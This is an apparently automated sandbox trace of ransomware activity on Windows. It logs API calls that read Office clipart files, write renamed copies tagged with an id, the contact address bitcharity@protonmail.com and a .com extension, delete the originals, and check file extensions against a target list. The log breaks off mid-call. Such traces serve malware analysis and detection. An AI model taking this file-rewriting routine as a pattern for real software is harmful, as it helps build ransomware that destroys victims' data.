1 [0298.719] lstrlenW (lpString="FD02068_.WMF") returned 12 [0298.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.720] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2488) returned 1 [0298.720] CloseHandle (hObject=0x10a0) returned 1 [0298.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0298.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.720] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.720] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.721] GetLastError () returned 0x0 [0298.721] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0298.748] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0298.748] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.749] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.749] SetEndOfFile (hFile=0x109c) returned 1 [0298.749] CloseHandle (hObject=0x109c) returned 1 [0298.749] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.749] SetEndOfFile (hFile=0x10a0) returned 1 [0298.750] CloseHandle (hObject=0x10a0) returned 1 [0298.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0298.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.750] lstrlenW (lpString=".doc") returned 4 [0298.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString=".docx") returned 5 [0298.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.750] lstrlenW (lpString=".pdf") returned 4 [0298.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString=".xls") returned 4 [0298.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.751] lstrlenW (lpString=".xlsx") returned 5 [0298.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.751] lstrlenW (lpString=".ppt") returned 4 [0298.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.751] lstrlenW (lpString=".zip") returned 4 [0298.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.751] lstrlenW (lpString=".rar") returned 4 [0298.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString=".bz2") returned 4 [0298.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString=".7z") returned 3 [0298.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.751] lstrlenW (lpString=".dbf") returned 4 [0298.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.751] lstrlenW (lpString=".1cd") returned 4 [0298.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.751] lstrlenW (lpString=".jpg") returned 4 [0298.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.751] lstrlenW (lpString=".doc") returned 4 [0298.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString=".docx") returned 5 [0298.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.751] lstrlenW (lpString=".pdf") returned 4 [0298.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString=".xls") returned 4 [0298.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.751] lstrlenW (lpString=".xlsx") returned 5 [0298.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.751] lstrlenW (lpString=".ppt") returned 4 [0298.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.752] lstrlenW (lpString=".zip") returned 4 [0298.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.752] lstrlenW (lpString=".rar") returned 4 [0298.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.752] lstrlenW (lpString=".bz2") returned 4 [0298.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.752] lstrlenW (lpString=".7z") returned 3 [0298.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.752] lstrlenW (lpString=".dbf") returned 4 [0298.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.752] lstrlenW (lpString=".1cd") returned 4 [0298.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0298.752] lstrlenW (lpString=".jpg") returned 4 [0298.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.752] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.752] lstrlenW (lpString="FD02097_.WMF") returned 12 [0298.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.753] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1564) returned 1 [0298.753] CloseHandle (hObject=0x10a0) returned 1 [0298.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0298.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.753] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.753] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.753] GetLastError () returned 0x0 [0298.753] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x61c, lpOverlapped=0x0) returned 1 [0298.871] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x620, lpOverlapped=0x0) returned 1 [0298.872] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.872] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.872] SetEndOfFile (hFile=0x109c) returned 1 [0298.872] CloseHandle (hObject=0x109c) returned 1 [0298.872] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.872] SetEndOfFile (hFile=0x10a0) returned 1 [0298.873] CloseHandle (hObject=0x10a0) returned 1 [0298.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0298.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.873] lstrlenW (lpString=".doc") returned 4 [0298.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString=".docx") returned 5 [0298.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.874] lstrlenW (lpString=".pdf") returned 4 [0298.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString=".xls") returned 4 [0298.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.874] lstrlenW (lpString=".xlsx") returned 5 [0298.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.874] lstrlenW (lpString=".ppt") returned 4 [0298.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.874] lstrlenW (lpString=".zip") returned 4 [0298.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.874] lstrlenW (lpString=".rar") returned 4 [0298.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString=".bz2") returned 4 [0298.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString=".7z") returned 3 [0298.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.874] lstrlenW (lpString=".dbf") returned 4 [0298.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.874] lstrlenW (lpString=".1cd") returned 4 [0298.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.874] lstrlenW (lpString=".jpg") returned 4 [0298.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.874] lstrlenW (lpString=".doc") returned 4 [0298.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.874] lstrlenW (lpString=".docx") returned 5 [0298.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.874] lstrlenW (lpString=".pdf") returned 4 [0298.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.875] lstrlenW (lpString=".xls") returned 4 [0298.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.875] lstrlenW (lpString=".xlsx") returned 5 [0298.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.875] lstrlenW (lpString=".ppt") returned 4 [0298.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.875] lstrlenW (lpString=".zip") returned 4 [0298.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.875] lstrlenW (lpString=".rar") returned 4 [0298.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.875] lstrlenW (lpString=".bz2") returned 4 [0298.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.875] lstrlenW (lpString=".7z") returned 3 [0298.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.875] lstrlenW (lpString=".dbf") returned 4 [0298.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.875] lstrlenW (lpString=".1cd") returned 4 [0298.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0298.875] lstrlenW (lpString=".jpg") returned 4 [0298.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.875] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.875] lstrlenW (lpString="FD02153_.WMF") returned 12 [0298.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.876] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=5392) returned 1 [0298.876] CloseHandle (hObject=0x10a0) returned 1 [0298.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0298.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.876] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.876] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.877] GetLastError () returned 0x0 [0298.877] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1510, lpOverlapped=0x0) returned 1 [0298.909] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1520, lpOverlapped=0x0) returned 1 [0298.910] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.910] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.910] SetEndOfFile (hFile=0x109c) returned 1 [0298.911] CloseHandle (hObject=0x109c) returned 1 [0298.911] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.911] SetEndOfFile (hFile=0x10a0) returned 1 [0298.912] CloseHandle (hObject=0x10a0) returned 1 [0298.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0298.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.912] lstrlenW (lpString=".doc") returned 4 [0298.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.912] lstrlenW (lpString=".docx") returned 5 [0298.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.912] lstrlenW (lpString=".pdf") returned 4 [0298.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.912] lstrlenW (lpString=".xls") returned 4 [0298.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.912] lstrlenW (lpString=".xlsx") returned 5 [0298.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.912] lstrlenW (lpString=".ppt") returned 4 [0298.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.912] lstrlenW (lpString=".zip") returned 4 [0298.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.912] lstrlenW (lpString=".rar") returned 4 [0298.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString=".bz2") returned 4 [0298.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString=".7z") returned 3 [0298.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.913] lstrlenW (lpString=".dbf") returned 4 [0298.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.913] lstrlenW (lpString=".1cd") returned 4 [0298.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.913] lstrlenW (lpString=".jpg") returned 4 [0298.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.913] lstrlenW (lpString=".doc") returned 4 [0298.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString=".docx") returned 5 [0298.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.913] lstrlenW (lpString=".pdf") returned 4 [0298.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString=".xls") returned 4 [0298.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.913] lstrlenW (lpString=".xlsx") returned 5 [0298.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.913] lstrlenW (lpString=".ppt") returned 4 [0298.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.913] lstrlenW (lpString=".zip") returned 4 [0298.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.913] lstrlenW (lpString=".rar") returned 4 [0298.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString=".bz2") returned 4 [0298.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.913] lstrlenW (lpString=".7z") returned 3 [0298.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.914] lstrlenW (lpString=".dbf") returned 4 [0298.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.914] lstrlenW (lpString=".1cd") returned 4 [0298.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0298.914] lstrlenW (lpString=".jpg") returned 4 [0298.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.914] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.914] lstrlenW (lpString="FD02158_.WMF") returned 12 [0298.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), 